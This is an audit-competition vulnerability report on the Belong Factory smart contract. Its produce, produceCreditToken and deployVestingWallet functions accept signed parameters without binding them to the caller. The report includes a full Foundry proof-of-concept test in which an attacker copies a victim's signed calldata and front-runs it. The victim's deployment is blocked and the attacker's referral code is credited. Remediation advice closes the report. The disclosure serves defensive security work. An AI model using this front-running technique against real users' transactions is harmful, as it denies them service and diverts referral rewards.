Immunefi Audit Competitions
Belong

57327 sc medium title front running leads to denial of service and unauthorized referral farming in creation functions

Description

Brief / Intro

The Factory contract's creation functions (produce, produceCreditToken, and deployVestingWallet) are vulnerable to front-running. An attacker observing the mempool can intercept valid, signed parameters intended for these functions and submit their own transaction using those parameters first. This preempts the legitimate user's transaction, causing it to fail due to a deterministic address collision (salt reuse). This results in a Denial of Service (DoS) for the user. Additionally, for the produce function, the attacker can insert their own referral code, enabling unauthorized referral farming.


Vulnerability Details

The core issue lies in how signatures are validated for the creation functions within the Factory contract. Functions like produce, produceCreditToken, and deployVestingWallet rely on parameters (AccessTokenInfo, ERC1155Info, VestingWalletInfo) that include a signature generated by the authorized signerAddress. This signature correctly verifies that the parameters themselves were approved by the signer.

However, the functions do not validate that the transaction sender (msg.sender) is authorized to use these signed parameters or is the intended recipient/creator associated with the payload. They only check the signature's validity against the signerAddress.

The factory uses LibClone.cloneDeterministic or LibClone.deployDeterministicERC1967, which employ CREATE2. The address of the new contract is deterministically calculated based on the deployer's address (address(this) which is the factory), a salt, and the creation code hash. The salt used in these functions is derived from parameters within the signed payload (e.g., keccak256(abi.encode(name, symbol)) for produce and produceCreditToken).

An attacker (e.g., a block builder or someone monitoring the mempool) can execute the following sequence:

Observe

Identify a pending transaction calling produce, produceCreditToken, or deployVestingWallet with valid signed parameters.

Copy

Extract the signed parameters (accessTokenInfo, creditTokenInfo, or vestingWalletInfo including the signature field) from the observed transaction's calldata.

Front-run

Submit their own transaction calling the same factory function with the copied parameters. For produce, the attacker can also substitute their own referralCode. Make it execute before the victim's transaction (e.g., higher gas price).

Success (Attacker)

The attacker's transaction succeeds because the signature is valid (it was signed by the signerAddress for the given parameters) and the deterministic address has not been created yet. The contract is deployed at the predicted address. In the case of produce, the attacker's referral code is associated with the creation.

Failure (Victim)

The legitimate user's transaction later executes but fails. The CREATE2 operation reverts because the contract at the deterministic address (derived from the same salt) already exists, leading to errors like Factory.TokenAlreadyExists or Factory.VestingWalletAlreadyExists. This results in a Denial of Service (DoS) for the user.

The included proof of concept demonstrates this clearly for the produce function: attacker successfully calls produce using valid signed parameters intended for a victim and an attacker-controlled referral code. The victim's subsequent call with the same signed parameters reverts.

https://gist.github.com/emilesean/81f3b8e2336d7f43018f97a238a1d115


Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

// Source Imports
import {AccessTokenInfo, ERC1155Info, NftMetadata, VestingWalletInfo} from "contracts/v2/Structures.sol";
import {Escrow} from "contracts/v2/periphery/Escrow.sol";
import {RoyaltiesReceiverV2} from "contracts/v2/periphery/RoyaltiesReceiverV2.sol";
import {Staking} from "contracts/v2/periphery/Staking.sol";
import {VestingWalletExtended} from "contracts/v2/periphery/VestingWalletExtended.sol";
import {BelongCheckIn} from "contracts/v2/platform/BelongCheckIn.sol";
import {Factory} from "contracts/v2/platform/Factory.sol";
import {AccessToken} from "contracts/v2/tokens/AccessToken.sol";
import {CreditToken} from "contracts/v2/tokens/CreditToken.sol";
import {Helper} from "contracts/v2/utils/Helper.sol";
import {SignatureVerifier} from "contracts/v2/utils/SignatureVerifier.sol";
import {Initializable} from "solady/src/utils/Initializable.sol";

import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Permit} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";

contract MyToken is ERC20, Ownable, ERC20Permit {
    constructor(address initialOwner) ERC20("MyToken", "MTK") Ownable(initialOwner) ERC20Permit("MyToken") {}

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }
}

contract Belong is Test {
    // Implementations
    Escrow public escrow;
    RoyaltiesReceiverV2 public royaltiesReceiverV2;
    Staking public staking;
    VestingWalletExtended public vestingWalletExtended;
    BelongCheckIn public belongCheckIn;
    Factory public factoryImplementation;
    Factory public factory; // Proxy instance
    AccessToken public accessToken;
    CreditToken public creditToken;
    MyToken public myToken;

    // Factory Config
    Factory.FactoryParameters private factoryParams;
    Factory.RoyaltiesParameters private royaltiesParams;
    Factory.Implementations private implementations;
    AccessTokenInfo private accessTokenInfo;
    NftMetadata private nftMetadata;
    uint16[5] private percentages;

    // CreditToken Config
    ERC1155Info private creditTokenInfo;
    address private defaultAdmin = makeAddr("defaultAdmin");
    address private manager = makeAddr("manager");
    address private minter = makeAddr("minter");
    address private burner = makeAddr("burner");

    // VestingWallet Config
    VestingWalletInfo private vestingWalletInfo;

    // Users
    address private alice; // Platform Signer / Owner
    uint256 private alicePk;
    address private bob = makeAddr("bob"); // Legitimate User
    address private attacker1 = makeAddr("attacker1"); // Controls referral code
    address private attacker2 = makeAddr("attacker2"); // Front-runner

    function setUp() public {
        // Deploy Implementation Contracts
        escrow = new Escrow();
        royaltiesReceiverV2 = new RoyaltiesReceiverV2();
        staking = new Staking();
        vestingWalletExtended = new VestingWalletExtended();
        belongCheckIn = new BelongCheckIn();
        accessToken = new AccessToken();
        creditToken = new CreditToken();
        factoryImplementation = new Factory();
        myToken = new MyToken(address(this));

        // Label Addresses
        (alice, alicePk) = makeAddrAndKey("alice");
        vm.label(alice, "Alice (Signer)");
        vm.label(bob, "Bob (User)");
        vm.label(attacker1, "Attacker1 (Referral)");
        vm.label(attacker2, "Attacker2 (Frontrunner)");
        vm.label(address(this), "TestContract"); // Label the test contract itself

        // Deploy Factory Proxy
        factory = Factory(
            address(new TransparentUpgradeableProxy(address(factoryImplementation), address(this), bytes("")))
        );

        // Configure Factory Parameters
        factoryParams = Factory.FactoryParameters({
            platformAddress: alice, // Example platform address
            signerAddress: alice, // Alice is the authorized signer
            defaultPaymentCurrency: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, // ETH
            platformCommission: 100, // 1%
            maxArraySize: 10,
            transferValidator: address(0) // No validator initially
        });

        royaltiesParams = Factory.RoyaltiesParameters({amountToCreator: 8000, amountToPlatform: 2000}); // 80% / 20% split

        implementations = Factory.Implementations({
            accessToken: address(accessToken),
            creditToken: address(creditToken),
            royaltiesReceiver: address(royaltiesReceiverV2),
            vestingWallet: address(vestingWalletExtended)
        });

        percentages = [0, 500, 1500, 3000, 5000]; // Example referral percentages
    }

    /*
     * @custom: Title: Front-running Leads to Denial of Service and Unauthorized Referral Farming in Creation Functions.
     * @custom: Description: Creation functions (`produce`, `produceCreditToken`, `deployVestingWallet`) are susceptible to front-running.
     * An attacker observing the mempool can intercept a legitimate user's transaction intended for one of these functions.
     * They copy the valid, signed parameters (`accessTokenInfo`, `creditTokenInfo`, `vestingWalletInfo`) provided by the platform signer.
     * The attacker then submits their *own* transaction calling the *same* function with the *stolen parameters*, executing *before* the user's transaction.
     * For the `produce` function, the attacker can substitute their own referral code into the call.
     * This attack succeeds because the signature only verifies the parameters' integrity against the signer, not the transaction sender (`msg.sender`).
     * The attacker's transaction successfully creates the contract at the deterministic address (derived from the salt).
     * Consequently, the legitimate user's original transaction fails due to a salt collision (`TokenAlreadyExists` or `VestingWalletAlreadyExists` error), resulting in a Denial of Service (DoS).
     * In the specific case of `produce`, the attacker also illegitimately farms referral rewards associated with the creation.
     * @custom: Severity: Medium. The vulnerability allows an attacker to cause a Denial of Service (DoS) for legitimate users by exploiting the deterministic address generation (salt collision).
     * For the `produce` function, it additionally enables unauthorized referral farming, adding a profit motive to the griefing attack.
     * @custom: Location: [Factory.sol#L230](https://github.com/belongnet/checkin-contracts/blob/6b78ead6186c49cfec2787522460ddd516579a6b/contracts/v2/platform/Factory.sol#L230) (`produce`)
     * @custom: Location: [Factory.sol#L302](https://github.com/belongnet/checkin-contracts/blob/6b78ead6186c49cfec2787522460ddd516579a6b/contracts/v2/platform/Factory.sol#L302) (`produceCreditToken`)
     * @custom: Location: [Factory.sol#L339](https://github.com/belongnet/checkin-contracts/blob/6b78ead6186c49cfec2787522460ddd516579a6b/contracts/v2/platform/Factory.sol#L339) (`deployVestingWallet`)
     * @custom: Count: 3
     * @custom: Remediation: Enhance access control. Consider including `msg.sender` in the signed message hash for these functions, or add explicit checks within the functions to ensure `msg.sender` matches an authorized address derived from the signed payload (e.g., the intended creator or beneficiary).
     */

    function test_produce_FrontRunningLeadingToDOS() public {
        // Initialize the factory
        factory.initialize(factoryParams, royaltiesParams, implementations, percentages);

        // Define NFT metadata for the collection Bob wants to create
        nftMetadata = NftMetadata({name: "Belong", symbol: "BLG"});

        // Prepare base AccessTokenInfo (without signature)
        accessTokenInfo = AccessTokenInfo({
            paymentToken: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, // ETH
            feeNumerator: uint96(0), // No royalties for this example
            transferable: true,
            maxTotalSupply: uint256(10_000),
            mintPrice: 1 ether,
            whitelistMintPrice: 1 ether,
            collectionExpire: uint256(0), // No expiration
            metadata: nftMetadata,
            contractURI: "ipfs://example",
            signature: bytes("") // Placeholder
        });

        // Generate the hash that Alice (platform signer) would sign
        bytes32 hash = keccak256(
            abi.encodePacked(
                accessTokenInfo.metadata.name,
                accessTokenInfo.metadata.symbol,
                accessTokenInfo.contractURI,
                accessTokenInfo.feeNumerator,
                block.chainid
            )
        );

        // Simulate Alice signing the hash
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(alicePk, hash);
        bytes memory validSignature = abi.encodePacked(r, s, v);

        // Update AccessTokenInfo with the valid signature Bob would receive
        accessTokenInfo.signature = validSignature;

        // --- Attack Scenario ---

        // Step 1: Attacker1 sets up their referral code.
        vm.startPrank(attacker1);
        bytes32 attackerReferralCode = factory.createReferralCode();
        vm.stopPrank();

        // Step 2: Bob gets the valid signed `accessTokenInfo` from Alice.
        // Attacker2 observes Bob's intended transaction (calling `produce` with `accessTokenInfo` and no referral code) in the mempool.
        // Attacker2 copies `accessTokenInfo` and front-runs Bob by calling `produce` first,
        // using Bob's parameters but substituting Attacker1's referral code.
        vm.startPrank(attacker2);
        AccessToken deployedByAttacker = AccessToken(factory.produce(accessTokenInfo, attackerReferralCode));
        vm.stopPrank();
        console.log("AccessToken deployed by Attacker2 at:", address(deployedByAttacker));

        // Step 3: Bob's transaction eventually executes.
        // It reverts with `Factory.TokenAlreadyExists` because the deterministic address derived from the salt (hash of name and symbol)
        // has already been created by Attacker2's front-run transaction.
        // Result: Denial of Service (DoS) for Bob, and successful, unauthorized referral farming credited to Attacker1.
        vm.startPrank(bob);
        vm.expectRevert(Factory.TokenAlreadyExists.selector);
        factory.produce(accessTokenInfo, bytes32("")); // Bob intended to call without a referral code
        vm.stopPrank();

        // Verification (Optional): Check owner of the deployed token and referral user
        assertEq(deployedByAttacker.owner(), attacker2, "Attacker2 should be the owner");
    }
}

Remediation

Enhance access control for creation functions. Options include:

  • Include msg.sender in the signed message hash so signatures are bound to the intended caller (e.g., signer signs hash that includes intended creator address).
  • Verify within the function that msg.sender matches an intended creator/beneficiary derived from the signed payload (explicit check).
  • Alternatively, incorporate a nonce or ephemeral value tied to the intended caller into the signed payload to prevent reuse by others. These changes prevent an attacker from reusing signed parameters seen in the mempool.